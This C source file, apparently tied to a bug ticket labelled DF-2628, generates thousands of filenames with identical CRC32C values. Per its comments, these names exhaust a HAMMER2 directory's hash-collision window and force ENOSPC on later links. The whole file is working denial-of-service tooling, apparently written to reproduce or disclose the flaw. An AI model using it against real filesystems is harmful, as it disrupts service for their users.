DF-2628 / gen_names.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 | /* * CRC32C multicollision name generator for DF-2628. * * hammer2_dirhash() (sys/vfs/hammer2/hammer2_subr.c:178) maps a filename * without '.', '-', '_', '~' delimiters to a 64-bit key that is a pure * function of c = iscsi_crc32(name) = CRC32C(name) (Castagnoli poly * 0x1EDC6F41 reflected 0x82F63B78, init ~0, xorout ~0): * * key = 0x8000000000000000 | (c << 32) | ((c ^ (c << 16)) & 0xFFFF0000) | 0x8000 * * so N distinct 8-char names sharing one CRC32C value all hash to the same * key and hammer2_dirent_create() packs them into consecutive slots * X8000, X8001, ... of the same 64K collision window. 32768 such names * exhaust the window; the next same-key link(2) target makes * hammer2_dirent_create() return ENOSPC deterministically * (hammer2_inode.c:1324-1326). * * We find 8-char names with crc32c == T by meet-in-the-middle over 4-char * halves: crc32c(A||B) = ~( S32(~crc32c(A)) ^ r0(B) ) where S32 is the * linear operator of 32 zero bits and r0(B) the raw state of B from 0. * * Usage: gen_names <target-crc-hex> <count> <names.txt> * (each emitted name is re-verified by direct crc32c before output) */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> static uint32_t tbl[256]; static void mk_tbl(void) { uint32_t i, j, c; for (i = 0; i < 256; ++i) { c = i; for (j = 0; j < 8; ++j) c = (c >> 1) ^ (0x82F63B78 & (-(c & 1))); tbl[i] = c; } } static uint32_t raw_update(uint32_t r, const char *b, size_t n) { size_t i; for (i = 0; i < n; ++i) r = (r >> 8) ^ tbl[(r ^ (uint8_t)b[i]) & 0xFF]; return r; } static uint32_t crc32c(const char *b, size_t n) { return raw_update(0xFFFFFFFF, b, n) ^ 0xFFFFFFFF; } /* ---- GF(2) 32x32 matrix: img[j] = map(1<<j) ----------------------- */ typedef uint32_t gf32_mat[32]; static uint32_t mat_apply(const gf32_mat m, uint32_t v) { uint32_t r = 0, j; for (j = 0; j < 32; ++j) if (v & (1u << j)) r ^= m[j]; return r; } /* shift operator for 32 zero bits (4 zero bytes) on a raw crc state */ static void mk_shift32(gf32_mat m) { uint32_t j, k, v; for (j = 0; j < 32; ++j) { v = 1u << j; for (k = 0; k < 32; ++k) /* 32 zero bits */ v = (v >> 1) ^ (0x82F63B78 & (-(v & 1))); m[j] = v; } } static int mat_inv(const gf32_mat in, gf32_mat out) { uint32_t a[32][2], i, j, t; for (i = 0; i < 32; ++i) { a[i][0] = in[i]; a[i][1] = 1u << i; } for (i = 0; i < 32; ++i) { if (!(a[i][0] & (1u << i))) { uint32_t found = 0; for (j = i + 1; j < 32; ++j) { if (a[j][0] & (1u << i)) { t = a[i][0]; a[i][0] = a[j][0]; a[j][0] = t; t = a[i][1]; a[i][1] = a[j][1]; a[j][1] = t; found = 1; break; } } if (!found) return -1; } for (j = 0; j < 32; ++j) { if (j != i && (a[j][0] & (1u << i))) { a[j][0] ^= a[i][0]; a[j][1] ^= a[i][1]; } } } for (i = 0; i < 32; ++i) out[i] = a[i][1]; return 0; } /* ---- enumeration -------------------------------------------------- */ static const char alphabet[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; #define AL 62 struct ent { uint32_t crc; uint32_t str; /* index: 4 base-62 digits, str[0] is LSB */ }; static int cmp_ent(const void *a, const void *b) { uint32_t x = ((const struct ent *)a)->crc; uint32_t y = ((const struct ent *)b)->crc; return (x < y) ? -1 : (x > y) ? 1 : 0; } static void idx2str(uint32_t s, char *o) { int k; for (k = 0; k < 4; ++k) { o[k] = alphabet[s % AL]; s /= AL; } } int main(int argc, char **argv) { uint32_t target, crcA; int want, emitted = 0; const char *outpath; FILE *out; gf32_mat shift32, shift32inv; struct ent *arr; size_t total, i, j, k, l, n; char a[5], b[5], name[9]; struct ent key, *hit; uint32_t prev; if (argc != 4) { fprintf(stderr, "usage: %s <target-hex> <count> <out>\n", argv[0]); return 1; } target = (uint32_t)strtoul(argv[1], NULL, 16); want = atoi(argv[2]); outpath = argv[3]; mk_tbl(); /* CRC-32C check value */ if (crc32c("123456789", 9) != 0xE3069283u) { fprintf(stderr, "crc32c self-test FAILED: %08x\n", crc32c("123456789", 9)); return 1; } fprintf(stderr, "crc32c self-test ok ('123456789' -> e3069283)\n"); fprintf(stderr, "target crc32c = %08x, want %d names\n", target, want); mk_shift32(shift32); if (mat_inv(shift32, shift32inv)) { fprintf(stderr, "shift32 not invertible?\n"); return 1; } total = (size_t)AL * AL * AL * AL; /* 14,776,336 */ arr = malloc(total * sizeof(*arr)); if (!arr) { perror("malloc"); return 1; } fprintf(stderr, "enumerating %zu 4-char halves...\n", total); i = 0; for (j = 0; j < AL; ++j) for (k = 0; k < AL; ++k) for (l = 0; l < AL; ++l) for (n = 0; n < AL; ++n) { arr[i].str = (uint32_t)(j * AL * AL * AL + k * AL * AL + l * AL + n); idx2str(arr[i].str, a); arr[i].crc = crc32c(a, 4); ++i; } fprintf(stderr, "sorting...\n"); qsort(arr, total, sizeof(*arr), cmp_ent); out = fopen(outpath, "w"); if (!out) { perror(outpath); return 1; } fprintf(stderr, "meet-in-the-middle join...\n"); prev = 1; for (j = 0; j < AL && emitted < want; ++j) for (k = 0; k < AL && emitted < want; ++k) for (l = 0; l < AL && emitted < want; ++l) for (n = 0; n < AL && emitted < want; ++n) { b[0] = alphabet[j]; b[1] = alphabet[k]; b[2] = alphabet[l]; b[3] = alphabet[n]; /* need crcA: ~(shift32(~crcA) ^ r0(B)) == T * => ~crcA = shift32inv(~T ^ r0(B)) */ crcA = ~mat_apply(shift32inv, ~target ^ raw_update(0, b, 4)); if (crcA == prev) /* 4-char space too sparse for 2 hits? */ continue; prev = crcA; key.crc = crcA; hit = bsearch(&key, arr, total, sizeof(*arr), cmp_ent); while (hit && hit >= arr && hit->crc == crcA && emitted < want) { if (hit == arr || (hit - 1)->crc != crcA) { idx2str(hit->str, a); name[0] = a[0]; name[1] = a[1]; name[2] = a[2]; name[3] = a[3]; name[4] = b[0]; name[5] = b[1]; name[6] = b[2]; name[7] = b[3]; name[8] = 0; /* direct verification - no algebra trust */ if (crc32c(name, 8) == target) { fprintf(out, "%s\n", name); ++emitted; if ((emitted % 5000) == 0) fprintf(stderr, " %d names...\n", emitted); } } --hit; } } fclose(out); fprintf(stderr, "emitted %d names with crc32c == %08x -> %s\n", emitted, target, outpath); return (emitted == want) ? 0 : 2; } |